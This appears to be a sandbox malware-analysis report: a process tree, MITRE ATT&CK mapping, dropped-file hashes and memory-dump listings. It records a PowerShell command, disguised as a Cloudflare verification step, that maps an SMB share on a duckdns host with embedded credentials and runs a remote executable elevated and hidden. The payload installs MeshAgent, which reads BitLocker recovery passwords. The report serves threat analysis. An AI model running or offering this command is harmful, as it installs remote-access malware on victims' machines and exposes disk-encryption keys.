  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1796,i,5038803804910006145,17887911130886648769,262144 --variations-seed-version --mojo-platform-channel-handle=2268 /prefetch:3
  2⤵
  PID:2712
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2232,i,5038803804910006145,17887911130886648769,262144 --variations-seed-version --mojo-platform-channel-handle=2224 /prefetch:2
  2⤵
  PID:5896
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2060,i,5038803804910006145,17887911130886648769,262144 --variations-seed-version --mojo-platform-channel-handle=2648 /prefetch:8
  2⤵
  PID:3376
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3484,i,5038803804910006145,17887911130886648769,262144 --variations-seed-version --mojo-platform-channel-handle=3552 /prefetch:1
  2⤵
  PID:5880
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3472,i,5038803804910006145,17887911130886648769,262144 --variations-seed-version --mojo-platform-channel-handle=3508 /prefetch:1
  2⤵
  PID:1132
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4972,i,5038803804910006145,17887911130886648769,262144 --variations-seed-version --mojo-platform-channel-handle=4944 /prefetch:8
  2⤵
  PID:2296
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5020,i,5038803804910006145,17887911130886648769,262144 --variations-seed-version --mojo-platform-channel-handle=5056 /prefetch:8
  2⤵
  PID:3456
- C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5700,i,5038803804910006145,17887911130886648769,262144 --variations-seed-version --mojo-platform-channel-handle=5724 /prefetch:8
  2⤵
  PID:5136
- C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5700,i,5038803804910006145,17887911130886648769,262144 --variations-seed-version --mojo-platform-channel-handle=5724 /prefetch:8
  2⤵
  PID:2780
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5780,i,5038803804910006145,17887911130886648769,262144 --variations-seed-version --mojo-platform-channel-handle=5788 /prefetch:8
  2⤵
  PID:2676
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5916,i,5038803804910006145,17887911130886648769,262144 --variations-seed-version --mojo-platform-channel-handle=5864 /prefetch:8
  2⤵
  PID:5008
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6072,i,5038803804910006145,17887911130886648769,262144 --variations-seed-version --mojo-platform-channel-handle=6188 /prefetch:8
  2⤵
  PID:6116
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5752,i,5038803804910006145,17887911130886648769,262144 --variations-seed-version --mojo-platform-channel-handle=5888 /prefetch:8
  2⤵
  PID:1292
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6196,i,5038803804910006145,17887911130886648769,262144 --variations-seed-version --mojo-platform-channel-handle=5892 /prefetch:8
  2⤵
  PID:968
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6220,i,5038803804910006145,17887911130886648769,262144 --variations-seed-version --mojo-platform-channel-handle=5412 /prefetch:8
  2⤵
  PID:1756
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5160,i,5038803804910006145,17887911130886648769,262144 --variations-seed-version --mojo-platform-channel-handle=5048 /prefetch:8
  2⤵
  PID:2780
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=2416,i,5038803804910006145,17887911130886648769,262144 --variations-seed-version --mojo-platform-channel-handle=6000 /prefetch:8
  2⤵
  PID:3508

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:3932

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:2584
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
  2⤵
  PID:3144

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -Command "Start-Process cmd -ArgumentList '/c net use \\aaso12.duckdns.org\shear /user:WORKGROUP\smbusr aabb1234! && \\aaso12.duckdns.org\shear\s -fullinstall' -windowstyle hidden -Verb RunAs; # Cloudflare verification (Ray ID: 90b0e54eb8bdaasd84)
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2112
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c net use \\aaso12.duckdns.org\shear /user:WORKGROUP\smbusr aabb1234! && \\aaso12.duckdns.org\shear\s -fullinstall
  2⤵
  PID:5728
- - C:\Windows\system32\net.exe
    net use \\aaso12.duckdns.org\shear /user:WORKGROUP\smbusr aabb1234!
    3⤵
    PID:2356
- - \??\UNC\aaso12.duckdns.org\shear\s.exe
    \\aaso12.duckdns.org\shear\s -fullinstall
    3⤵
    - Sets service image path in registry
    - Drops file in System32 directory
    - Drops file in Program Files directory
    PID:5716

C:\Program Files\Mesh Agent\MeshAgent.exe
"C:\Program Files\Mesh Agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Program Files directory
PID:2300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -noprofile -nologo -command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -noprofile -nologo -command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -noprofile -nologo -command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -noprofile -nologo -command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:968
- C:\Windows\system32\cmd.exe
  /c manage-bde -protectors -get C: -Type recoverypassword
  2⤵
  PID:2112
- - C:\Windows\system32\manage-bde.exe
    manage-bde -protectors -get C: -Type recoverypassword
    3⤵
    PID:64
- C:\Windows\system32\cmd.exe
  /c manage-bde -protectors -get F: -Type recoverypassword
  2⤵
  PID:6044
- - C:\Windows\system32\manage-bde.exe
    manage-bde -protectors -get F: -Type recoverypassword
    3⤵
    PID:5112

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Mesh Agent\MeshAgent.db

Filesize
154KB

MD5
54093c6b61b92862308e6081457a36d4

SHA1
337f751f499f57873a1181a979377ceff6d81ee7

SHA256
6c6802c82ec0f67853e5d7906cd9b3d3044619b08c5e5e23be5c441d309d5ca0

SHA512
9a34ea1ed02b5c5ed3e5dcef63c2e28224e94c988acd760d7d8b2e59e9067ecb059f1436360055aa7b2ef535b52e90ebce1c475ef02bb80ab15dc81bc08eb2b4

Download Submit
C:\Program Files\Mesh Agent\MeshAgent.db.tmp

Filesize
154KB

MD5
349e0793ab5effa136d464aa6ced9c39

SHA1
ad79c8bd322f313a068d4bb09d315effdd80d665

SHA256
94c5787e98de94783f3a4aa6034ad820bd5f5b367b6e97d872b97206f6324cc6

SHA512
37172111e24f02142373829b086cd6311600cd6351f808b3b6be032dc616639e2a58ae5a028ee6e55a89037e0d401261cc6da4520fef6932f191f9413eda63fb

Download Submit
C:\Program Files\Mesh Agent\MeshAgent.exe

Filesize
3.3MB

MD5
e2264eb1b5f614db39e8dadde0c4c487

SHA1
6cd4fbf6499071686fc8c448307f17d141199ea1

SHA256
3f38dab1278850190a70c91a9671fdada649bbd6f8abafba9970c7f43c59565d

SHA512
cc1347041f87d823f304afad43d225a6c48bc2016d724a1b2ac5ec3e52fbd7adf846f5bdee6f6dde8de6fe0c29c0bd0d4502edb0a30a59b9ac709703415b7923

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
280B

MD5
690f9d619434781cadb75580a074a84d

SHA1
9c952a5597941ab800cae7262842ab6ac0b82ab1

SHA256
fc2e4954dbe6b72d5b09e1dc6360ea699437a2551355c2950da0b3d3a4779fc1

SHA512
d6b1da8e7febf926e8b6c316164efbbac22c7c3d9e4933a19fffba3d1667e1993cdeb5064aa53816c0c53f9d2c53e204772de987eb18adbb094a0fb84ae61fa9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json

Filesize
2B

MD5
99914b932bd37a50b983c5e7c90ae93b

SHA1
bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f

SHA256
44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a

SHA512
27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps

Filesize
107KB

MD5
2b66d93c82a06797cdfd9df96a09e74a

SHA1
5f7eb526ee8a0c519b5d86c845fea8afd15b0c28

SHA256
d4c064db769b3c109da2ed80a53fbab00987c17421a47921e41e213781d67954

SHA512
95e45c0aea0e704be5f512dffaae377d4abef78da99b3bca769264d69be20f2570daf2f47905645217e1b2696e42b101f26149219f148b4d6dd97a6c2868b6f5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State

Filesize
2KB

MD5
54d4880b07c045ea174b3be95f8c9d52

SHA1
9eed31d425cb81f1586582036ecc4989c9ae3e6a

SHA256
492a2f20c08e2d69d47af9c7df71d70a1903c3b2a2abfe26d6f2141348460607

SHA512
a115ae7a585e117d2d73cbc70b20bc9e8942efbc9bd3f4aebffd508947ebdfeabcb08bb2b52e509b7d9c51264bb0e2591a151f7f039903032e2284ada603d39a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries

Filesize
40B

MD5
20d4b8fa017a12a108c87f540836e250

SHA1
1ac617fac131262b6d3ce1f52f5907e31d5f6f00

SHA256
6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d

SHA512
507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
17KB

MD5
f1f73a3f48d6a86366093e5db58b71bf

SHA1
ecf5a2292a78ea7db96939b64bc23d0d38f84c6f

SHA256
637347c7d9ad1305335fbdc1f37068ee750d59e4008320ff47c1006904206476

SHA512
82aa3dc177bdf561276847ad8fed58a88a78a50945c4565673856358061bad66a8809f7f1007d9d6855ce4f43baebf9a1a4e86b312f18672670b66942dcff370

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

Filesize
36KB

MD5
269f41263310062782dd6648c89eb5d9

SHA1
42c73c152df238ee4f488a4a0743150c067d26fd

SHA256
34749a81513d9d8da16d7bb6fcbc951abfd91f4930851ea94c3a262fdbcdbf57

SHA512
486d6c593d976e2ff029ddfa0a9a5142374dad87bae2ef998c7d3092611af5ddb8a59bbf95f62b2994f1f944c895d235937babf7d9cfde695b66d6295667cf1d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log

Filesize
22KB

MD5
0e745cc3b19507ae8b7a6d5f26b68067

SHA1
9820b64911e6555ba5b495190168fa76abe5cfd0

SHA256
f88bab876c5db53d229d9e9fcb8b38c2b14c11145c140a2a948710c3e164f60b

SHA512
c21d375b763a23d55115aa6eeea7b062fe8f15892bd2ccf4562af65dae3081bd81c30fe4a5fc81ee23b2292d345763e5711a05dad240822e42dfbe611571836f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\CloudConfigLog

Filesize
467B

MD5
50c808b4481903a6c7a4df92782f3501

SHA1
b783dde89015392563717d4d964dc5fe26e743b7

SHA256
411ed48606adea8f92cb162aafa489f77e721888736ddf476e1532f6b08df14e

SHA512
7e4a9406987c6a7ff0b4d7b07d0a8703b51bf11a16fa04e4c44121f8bb424272d6a365884d28f5db6167dcc18eb05bed95d76dbebe037c11eb4b8b4fa825c498

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\CloudConfigLog

Filesize
23KB

MD5
85cc0806ce9c82b34b6a1587794de7f7

SHA1
e496ea49ad758ac8322313fa7309b95bde074872

SHA256
c9ab95bc832639525bf84cb8ae12ee88f7ff607cf1d2539bffcf8659cb33162f

SHA512
5c6d211a9dc45bcd94ba334b9ab7bb3e215ceb343f21c33bfc7da554316c706ad7cec84ae9a5a805bc67464ebe635c8037432a2a5401f39d9fc1cefeee829f22

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\CloudConfigLog

Filesize
900B

MD5
ffbe5ee9bed2539cc4d25bcf912d9c33

SHA1
0cbb38d915ac64f8d9330a82da54f98b52157159

SHA256
bc4eff41e7f7fe4bd421c9fd20b138de947cab6ef65c3d70d9ed15d55593b529

SHA512
5761951bb0e346f30dee20e1ab59476fb3af9a3c4fd571b2ffe49be71fc43d7c51aab65a95a1e07b483c7de18e9d0020638a060355bfa2cbf14af91d439a9cc4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig

Filesize
19KB

MD5
41c1930548d8b99ff1dbb64ba7fecb3d

SHA1
d8acfeaf7c74e2b289be37687f886f50c01d4f2f

SHA256
16cee17a989167242dd7ee2755721e357dd23bcfcb61f5789cc19deafe7ca502

SHA512
a684d61324c71ac15f3a907788ab2150f61e7e2b2bf13ca08c14e9822b22336d0d45d9ff2a2a145aa7321d28d6b71408f9515131f8a1bd9f4927b105e6471b75

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
49KB

MD5
c9eadfb8549779546df6f9e37e10f65f

SHA1
6480c84af01b53081f73a9c236ac34918000b15b

SHA256
5afbf655a7115fec2848bc52055a764ba8cafa53547be16d9df1b5319a51f76d

SHA512
ac67a1fe40da1430dbf39101aaba93c25847469156d806d17216c8b113bb3b9624e5c0e03fa1993a38c7e6639036423ec101fcde91ff81d310b72010ca3519c2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
40KB

MD5
64723ef4e68606c783d2b07141430c6a

SHA1
6ff85a77b3694f44100b91f4433d3f3bb1adaa8a

SHA256
9d58b3d74afb4f4c8585befd313180a264c0177868eb836f5cc39826dc093733

SHA512
b3cc01eb1f0c19253beb3896b55e69779b3a25b77d851d60df807727a326386919eda7cb5c97a81a3aaf9a3ebafc9def2275bb395ef84c9fb5362e084a9a750c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
40KB

MD5
ec8cd632ed177e64ca70ac5951020a13

SHA1
0d5ae86113bca824549359fdbf5d3f44643358a0

SHA256
2964688eb341e4acfa3ee26387f612ace770cb71dedcc5723d4977b59009ac80

SHA512
e6d12a5fa8b20c125fe6d48a623cfb3256364230a459cc3066bd29173f5f0f5b031eb53b0f4ed64ba368b04a7619c8bb9cc1ea195feba3b2a013e5244ab7b9ad

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
49KB

MD5
cc897953bed26e61ca6ab379e5bfcb75

SHA1
76cdbb02a00adf1313356c028fa78b1fe4d80c0e

SHA256
b247c542ddc2f90c82cd40eeae83e27a3fc4ae78656fcb292797f7898734d111

SHA512
b35934e63a02ed07ac1327078283886f8faf9e9d44791c52b284dd94e0d55b68790a5687b96a33062a818b06e065e0ddcfa145c05a3ce450832e61519f0d6626

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
54KB

MD5
97b54fc564bae397c7af658cf8286528

SHA1
d49f1995629f00022239eb2b540b205039c45afc

SHA256
e1f27fdee262953937660446394a2250fcb950a7f54e8f70e602a650d255f92c

SHA512
e34c53218b2ae84cdfa59ea6023b7a7e16d02c81ddb08b72c714288aa8467e77495d2ccfbabcc23a124ac98001d495cc92cbb6dd9d90c00d5ce6acf89d3db3ff

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\ghbmnnjooekpmoecnnnilnnbdlolhkhi_1.fa2232917a5656ea4f811936561ea6b7c92b3c0004c5e08ecb97636d3afc6f72

Filesize
152KB

MD5
dd9bf8448d3ddcfd067967f01e8bf6d7

SHA1
d7829475b2bd6a3baa8fabfaf39af57c6439b35e

SHA256
fa2232917a5656ea4f811936561ea6b7c92b3c0004c5e08ecb97636d3afc6f72

SHA512
65347df34378c2bbb34417e2cccfb3251a0b2412422cc190eed9df525b6e0a9948e0295ea3c33b3ad873ce81e369e89a138ac41d6eb7229546c3269107e661de

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Filesize
2KB

MD5
6bccdb35cd379d97f72200ab33966223

SHA1
4760a0128b007f1b1aff5837abfadb4673e46772

SHA256
7cbe5ba1f238cc10ad43188fe330898ce8c12409cba9ffa3103aa918b4075bfe

SHA512
f6757c0853ed5ba1a1815aeed204ea15214c6b8b6f8e5003004c8818147c3b860ec03d6cba2ae34d57569ec173aa9ee626b9f29b65dbb89aa31e7ba9b60e760a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5qeyazxy.trp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
06d16fea6ab505097d16fcaa32949d47

SHA1
0c1c719831fa41cd102d0d72d61c0f46ec5b8de8

SHA256
54e15de2bef9f651d7717e2a336ac6b2ea2b723e6f29d2b153d8fbbc89aef723

SHA512
03c00f1eebb51cec11703141ae9d9c3ac589f5495bc04d8a4b043714089a9d50bd3a520e4d72b4a4c99f5b9bf5f689bf2585fa5c7d4ddbe6f71cbba0172f593a

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
b899207441c0301bb017e3141d12fbd0

SHA1
4f7811f37267e498fe5cf0b492aaebb906ac5e2a

SHA256
73ea7a0773a42b5d698bcaded17c028c28a8a4c9be070aefc870665668a55200

SHA512
1ee8f058888566de059adf051dfda5d9468fa5b90219aff996e151759184cfefd0f91261fdf70aa8deb9359555e163da35402f058daf35093a6867256090abd2

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
83c25d83636fbe9c46acd118f02c2b59

SHA1
54d4e7efaa952eb30c60d98cacb43c867d185d24

SHA256
95623b1ac79135c53f423c2644c3d7f2194f652310ddff0bf037bb9ff9d4ae91

SHA512
231a0fe540959276dcb4a867bac437a64e65467e56b0cec1a5c521280b2d405b77baffcd1a8a03a8765844fca7343a079433ba8ec3e317fd287a2c5e41070121

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
27fa8fed13ecb9f61e121ec324762df8

SHA1
335548d27e6e0d817718120947a41a068c8e6d47

SHA256
954c15d5cc19c769d5bddd9e86e0ebcdc4536806143824a7e8321b1256d63047

SHA512
a1d1bd5f4e1060716fe53a3cfa4a85afc44a5b8044d48fcd2e98b28d0e2e85ccb25ae41404f33866dc4df8040e8c3f2f25efca709b6d73676f8914a115f04159

Download Submit
memory/968-650-0x000001BF3F4A0000-0x000001BF3F4BC000-memory.dmp

Filesize
112KB

Download
memory/968-647-0x000001BF3F320000-0x000001BF3F33C000-memory.dmp

Filesize
112KB

Download
memory/968-648-0x000001BF3F3E0000-0x000001BF3F495000-memory.dmp

Filesize
724KB

Download
memory/968-649-0x000001BF3ED20000-0x000001BF3ED2A000-memory.dmp

Filesize
40KB

Download
memory/968-651-0x000001BF3ED30000-0x000001BF3ED3A000-memory.dmp

Filesize
40KB

Download
memory/968-652-0x000001BF3F4C0000-0x000001BF3F4DA000-memory.dmp

Filesize
104KB

Download
memory/968-653-0x000001BF3F340000-0x000001BF3F348000-memory.dmp

Filesize
32KB

Download
memory/968-654-0x000001BF3F350000-0x000001BF3F356000-memory.dmp

Filesize
24KB

Download
memory/968-655-0x000001BF3F4E0000-0x000001BF3F4EA000-memory.dmp

Filesize
40KB

Download
memory/2112-476-0x000001D7932C0000-0x000001D7932E2000-memory.dmp

Filesize
136KB

Download
memory/2840-589-0x000001A6A9510000-0x000001A6A9586000-memory.dmp

Filesize
472KB

Download
memory/2840-588-0x000001A6A9440000-0x000001A6A9484000-memory.dmp

Filesize
272KB

Download
memory/5716-528-0x00007FF667180000-0x00007FF6674F5000-memory.dmp

Filesize
3.5MB

Download